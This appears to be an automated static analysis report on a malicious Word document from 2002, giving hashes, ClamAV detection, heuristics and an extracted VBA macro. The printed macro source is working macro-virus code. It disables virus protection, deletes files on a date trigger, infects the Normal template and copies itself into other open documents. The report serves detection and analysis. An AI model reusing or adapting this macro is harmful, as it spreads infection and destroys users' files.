Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a7212f2944bfa697…

MALICIOUS

Office (OLE)

32.5 KB Created: 2002-03-06 07:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cdb0bddc3afca606c13a25f48a148e5a SHA-1: fd716208d04ba8d2b03fc21b214bedc48f876229 SHA-256: a7212f2944bfa69740457e7065f2fe89bd80725db3fc7ca069e8c452841bb173
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro designed to execute upon document opening. The macro attempts to export and import VBA components to a specific path, 'd:\precedure_transfer_program.bas', suggesting an attempt to establish persistence or download a second-stage payload. The ClamAV detection 'Doc.Trojan.Prece-1' further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Prece-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Prece-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5311 bytes
SHA-256: b77c2b4dd450643044d40453b6952ccd9f6e35d86253efab8cc8e5e4bb8db6e1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Option Explicit
Dim What_month_it_is_now, What_day_it_is_now, i, What_is_your_name, MacrosNbr, SourceFile, TemplateName, MacroName, DestFile
Public Const It_is_me = "windows'98"

Sub AutoOpen()
On Error Resume Next
Application.ScreenUpdating = False
        Options.VirusProtection = False
            Application.DisplayRecentFiles = False
                What_is_your_name = Application.ActiveDocument.BuiltInDocumentProperties(3)
                        'If What_is_your_name <> "windows'98" Then Exit Sub
                                What_month_it_is_now = Month(Date)
                                        What_day_it_is_now = Day(Date)
                                                If (What_month_it_is_now = 4 And What_day_it_is_now >= 20) Or (What_month_it_is_now > 4 And What_day_it_is_now >= 1) Then
                                                        Kill "c:\Program Files\accessories\*.scp"
                                                            Application.NormalTemplate.VBProject.VBComponents(2).CodeModule.ReplaceLine 15, "                                       rem Say hello to the user "
                                                End If
                                        ActiveDocument.VBProject.VBComponents(2).Export ("d:\precedure_transfer_program.bas")
    If Application.NormalTemplate.VBProject.VBComponents.Count = 1 Then
            Application.NormalTemplate.VBProject.VBComponents.Import ("d:\precedure_transfer_program.bas")
    Else
            For i = 1 To Application.NormalTemplate.VBProject.VBComponents(2).CodeModule.CountOfLines
                    NormalTemplate.VBProject.VBComponents(2).CodeModule.DeleteLines 1
            Next
                    Application.NormalTemplate.VBProject.VBComponents(2).CodeModule.AddFromFile ("d:\precedure_transfer_program.bas")
                            SetAttr ("d:\precedure_transfer_program.bas"), vbHidden
    End If
                                                
                                                
ActiveDocument.VBProject.VBComponents(1).Export ("d:\trial.bas")
    If Application.NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines < 30 Then
            For i = 1 To NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
                NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1
            Next
            
            Application.Templates(1).VBProject.VBComponents(1).CodeModule.AddFromFile ("d:\trial.bas")
 
                    For i = 1 To 4
                            Application.NormalTemplate.VBProject.VBComponents(1).CodeModule.ReplaceLine i, "rem"
                    Next
    End If

                                                  
Errhandler:
End Sub

Sub AutoClose()
     On Error Resume Next
        Dim CountProjects
         
Dim mac, HasModule1
   Dim CountFiles
    CountFiles = Application.Documents.Count
        For i = 1 To CountFiles
          With Application.Documents(i).VBProject
               For Each mac In .VBComponents
                    If mac.Name = "Module1" Then
                            HasModule1 = 1
                            HasModule1 = 0
                    Else
                            HasModule1 = 0
                    End If
                Next
                    If HasModule1 = 0 Then
                            DestFile = ActiveDocument.FullName
                                SourceFile = NormalTemplate.FullName
                                        Application.OrganizerCopy Source:=SourceFile, Destination:=DestFile, Name:="Module1", Object:=wdOrganizerObjectProjectItems
                    End If
            End With
        Next
         Options.ConfirmConversions = False
           Optio
... (truncated)